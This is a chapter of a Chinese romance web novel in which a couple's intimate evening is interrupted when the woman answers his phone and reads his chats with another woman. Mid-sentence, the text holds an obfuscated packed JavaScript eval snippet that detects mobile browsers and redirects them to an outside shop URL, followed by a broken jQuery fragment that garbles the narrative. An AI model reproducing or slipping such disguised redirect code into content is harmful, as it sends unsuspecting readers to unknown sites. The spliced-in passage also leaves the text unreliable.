林越洲屈指弹了下沈意的眉心,自上而下扫了她一眼,抱着她往楼上走,态度有些冷淡。
“先前没见你多心,现在倒有危机感了?”
掌心贴着她的不纤一握的腰肢,指腹缓缓摩过脊骨,体温隔着单薄的睡裙,两两相熨。
是安抚,也是觉得好笑。
“OSA账户你用着,股权分红你吃着,你甚至能取走我存在金库里的身家性命。”
他将沈意轻放在书桌沿,轻啄了下唇角,笑意散漫又矜贵,“只要你想,我一夜之间就能成穷光蛋。”
这话说得太过夸张。
在燕京,就算几方势力联手想搅乱局势搞垮他,都未必能撼动其分毫。
但意思是那个意思。
林越洲名下几个离岸账户不在她手里,但全任凭她支配,就算她买海岛买星轨买火箭,也不需要经过任何人同意。
她十八岁成人礼那会儿,林越洲送的礼物多到连她自己都记不清,有的到现在都没拆。
其中两样,就是他口中的股权和银行授权。
占比看似微末,但每年光靠代持的股权吃几家公司的分红,都够她挥霍了。
更别提瑞士银行的专属授权。
地下金库位于联邦政府大楼和议会大厦地下深达百米的防核掩体内。
开启保险箱需要三道核验。
银行密钥和私人钥匙,指纹声纹双识别,还有最后的虹膜验证。
当时林越洲连哄带骗让她签授权,添加自己的生物信息,但她那会儿没兴趣,也就懒得去金库里看他放了些什么。
这么一想,即便他真给时予笙送了同款手链,好像也无关紧要。
这个圈子里,睁一只眼闭一只眼才是最稳妥的夫妻之道。
但沈意还没大度到跟别的女人分享自己的男人,更容不下自己几年心血被人当作哄女人高兴的筹码。
“那你为什么会…”
脑子一热,那个名字几乎要脱口而出。
但就在这个瞬间,她突然反应过来,猛地刹住车,硬生生转了话锋,“会这么懂女人。”
太刻意的转变,连表情都有些不自然。
她不能直接问林越洲。
认识还是不认识,剧名是不是跟她有关,为什么要送她和自己一样的手链。
她不能这么贸然的去捅这层窗户纸,去种一个怀疑的种子让对方有时间抹去证据趁机反咬。
至少也要按兵不动,等到证据确凿,否则她就会失去主导权,由主动落为被动。
这是她从沈老爷子和沈季序身上学来的。
林越洲没有回答,像是看穿了她的心思。
好整以暇地撑在她身侧的桌沿。
微微倾身贴近,似笑非笑地盯着她看,并不走心的了然笑意浮于表面,反倒让人毛骨悚然。
被盯得有些无所适从,沈意顿了下,鬼使神差般勾上了他的脖颈,书桌上笔架摆件被撞开,碎了满室旖旎光景。
沈意被这动静吓得停住了动作,反倒让林越洲夺了主动权。
“意意……”
“宝宝……”
他望着那双风情万种的眼,指尖勾着丝绸腰带,一遍遍喊她。
檀口胭脂色乱,气若游丝似真似假的嗔怒,“骗子,你就是老手。”
她倒是不怎么抵触,只是因为腰腿半悬没有着力点,全面压制之下,有点没安全感。
意欲作乱的手被他反捕到,手背贴着唇边落下一吻,嗓音低沉磁哑。
“哥哥买的,就应该让哥哥解。”
轻时的试探,重时的侵占。
他的游刃有余,叫人躲不开,也挣不脱。
沈意推他的力道不大,手脚并用时,膝盖撞在了桌角的青花瓷瓶上。
她吃痛闷哼一声,不大,却足以让林越洲收心。
他掰过沈意的膝盖检查,皱着眉,声线泛着哑感,“撞到伤口了?”
“疼不疼?
其实她伤早就好了,方才也不是因为疼的,在这种情境下,外界的动静会被无限放大。
沈意衔着口断断续续的气,摇了摇头,她心里暗骂了句没你咬的疼。
说不出话,指尖擦开眼角,水渍。
林越洲把她扶了起来,理好吊带裙,神色与寻常的冷静自持别无二致。
“算了,等你伤好了再说。”
这话,林越洲更像是说给自己听的,带着浓重的警告意味。
“其实我……唔……”
沈意其实想说自己没事,但话没说完,就被重新掠夺了所有呼吸。
这一吻温柔缱绻,和方才的粗鲁行径判若两人,像是事后温存般的诱哄。
他抵着她的唇,一字一顿,咬着字词。
“我们,来日,方长。”
一语双关,余韵绵长。
-
浴室的水声持续,林越洲迟迟没出来。
明天《予你》要确认演员妆造,她得早点回燕京去现场看看。
沈意趴在床上滚来滚去,想先睡觉,但又想等他一起,也没留意他进去的时长。
玩到后面,逐渐起了困意,横在床尾,迷迷糊糊睡了过去。
她是手机震动的声音吵醒的。
其实已经静音了,但机身挨着矮柜上的蓝色珐琅瓷瓶,撞击时发出的声响刺耳又磨人。
沈意闭着眼摸索,也没注意看手机和来电显示,按了接通。
“什么时候回京,明儿四哥组了局,约你。”
一男人声音,但沈意困得稀里糊涂的,也没听出来是谁。
沈意脸埋在被子里,发闷的软音,但依旧能听出是个女人声音,“明天。”
电话那头貌似没料到是个女人接的电话,沉默了好一会儿,才结结巴巴的开口回了一句,“啊……好,好,再见。”
莫名其妙。
沈意抓着林越洲手机,刚想续上自己的好觉,结果那边刚挂了电话,她就彻底清醒了。
睡眼惺忪,她蹭了蹭林越洲的位置,发现他居然还在浴室,只是水声停了,不知道在干什么。
刚想把手机扔回矮柜,屏幕就亮了,随之而来的是三四条信息,弹得急促,噼里啪啦的响。
沈意知道密码,熟稔地直接解锁。
【???】
【你跟别的女人在一起?】
【沈意知道吗?】
三条信息,满眼的问号。
沈意看了备注,又是个听过但不认识的人。
但这些人,貌似都对她很熟悉,但视线落在最后一句话上,总感觉哪里有点不对。
她的人设,像阴暗小气的女鬼,决不允许林越洲跟任何异性接触的那种极端女友。
林越洲在外到底是怎么抹黑她的啊!
聊天框顶部跳成了对方正在输入中…
又弹出一条新消息。
【别想不开啊洲。被沈妹妹知道,她眼泪一掉,你又得失魂落魄好几天。】
消息还在往外蹦,似乎是真的误会了。
而且试图用短信轰炸唤醒机主的意识。
【作为兄弟,我得提醒你…】
眼见他还要继续往下说,沈意连忙点开键盘敲了几个字想解释,最后又一次性删了。
她发了条能证明身份的语音。
“那个,我就是沈意。我哥在洗澡,我没看清手机接的电话,不好意思。”
特别乖巧又得体的一段解释。
那边没往下继续发,也没打算跟沈意多聊,只是回了一个ok的表情包后。
【好,误会了。早点睡觉沈妹妹。】
听上去,怎么像老哥哥叮嘱小妹妹……
算了,懒得多心。
退出聊天界面,她才注意到,林越洲的聊天框除了那条刚发来的信息以外,只有一个置顶聊天。
她的头像,备注是【爱意】
既是动词,也是名词。
林越洲发完信息之后会把所有聊天框都隐藏不显示,只留下沈意在置顶。
即便是断联的那七个月,他也没有改过这个习惯,是身边所有朋友都知道的程度。
知道没有沈意,他就是个没有灵魂的空壳。
那七个月他是怎么过来的,行尸走肉吗?
鼻尖微微发酸,沈意不敢想,也不敢问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253122|196304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她对林越洲的爱,好像不及他的千分之一。
视线逐渐模糊,沈意闷闷的趴在床上,漫无目的的滑动着他的朋友圈,思绪早已飘远。
她这才发现,林越洲把朋友圈背景和手机锁屏都换成了同一张照片。
窗帘缝漏进的光,把床单染成浅金。
分明的指骨扣着她纤细的腕,对戒上的钻石熠熠,可他的素圈始终低她一头。
应该是她睡着的时候林越洲拍的,沈意竟毫无察觉。
一种很奇妙的感觉在心头久久萦绕,甜丝丝的。
她还沉浸在热恋的甜腻之中,指尖无意识往下滑动,是各种各样的朋友圈内容。
其实没注意看,就是血液沸腾起来后,大脑有点莫名缺氧,无意识的想要分散自己上升的多巴胺。
胡乱往下翻了几页,她忽然看到了底部突兀的几张照片,应该出于某个热爱生活的小女孩。
很精致的九图PLOG,还用了彩色涂鸦在照片上写写画画,记录了很多心情和随笔。
总之就是很鲜活很有生命力的那种朋友圈。
林越洲没给她备注,网名是S.
虽然未经允许偷看别人聊天记录的行为很卑劣,也有点无耻,但沈意还是点进去了。
无心插柳柳成荫,她找到了时予笙的微信。
寥寥几句,不多。
时予笙给他发了自己签约《予你》的合同。
【林越洲:走后门了?】
【时予笙:老娘一轮轮试镜拿下的】
【时予笙:对了,我见着你女朋友了,人美心善,就是视力不好,跟了你。】
林越洲连发了两个问号之后冷硬地撂了一句。
【离她远点,少带坏她。】
聊天就停在这儿,没有下文。
咔哒———
她还没消化完时予笙也认识她但上次见还装不熟这件事,就听到浴室门开了。
慌乱之中,她连忙切出微信锁屏。
毕竟随便看人手机不好,虽然有点此地无银的意思,但沈意还是先开了口,“刚刚不小心接了你电话我才……”
话音被眼前一幕卡在喉咙里。
室内光线昏暗不明,浴室内丝丝缕缕的薄荷凉气扑面而来,方才所有暧昧滚烫瞬间失温。
“啊———你怎么不穿衣服!”
沈意刚要爬起身解释,视线就定在了他身上一处招摇过市的地方。
大脑宕机了三秒,从震惊到后知后觉的捂脸。
林越洲径直走向身上,在她面前半蹲下来,周身寒凉瞬间将她包裹,冷得人直哆嗦。
肩上身上氤氲着寒凉的冷气,声线被压得很低,似乎在极力压抑着什么。
“宝宝,帮我。”
沈意一时没反应过来他在说什么。
林越洲的吻却先落了下来,没有任何章法,却像是蛊诱夏娃品尝禁果的那条毒蛇。
吻得温柔克制,手上却失了分寸。
沈意抓着他的手机,抵着肩想拉开点距离,但她没这个机会。
抽了手机随手一撂,没去管沈意拿他手机做什么,不好奇,也不在意。
直接把人端了起来大步往浴室走。
喘息擦着沈意的颈侧而过,额前碎发还在往下滴着水珠,冰与火的交融,极与极的反差。
林越洲垂着脑袋,哀求的语气,可却是强制的姿态。
他不许她拒绝。
四个气声字一遍一遍挠着她耳边,沈意抓着林越洲的肩头,没来由的颤栗,脚下泛软。
她心里是有点抗拒的,但不是要帮他…才觉得别扭。
是因为没有下文,那本质就变成了纯泄愤,总归是有点不爽。
但她还是屈膝矮肩,缓缓滑了下去。
只是人还没往下跪,手肘就先被人他稳稳托住,重新扶了上来。
他低笑着,吻了下她的额头,“傻瓜,从哪儿学的。”
沈意的经验和认知完全等于零,仅有的这点理论知识还是从美剧上看来的。
被林越洲这么一否定,她彻底没了主意。
“哥哥教你。”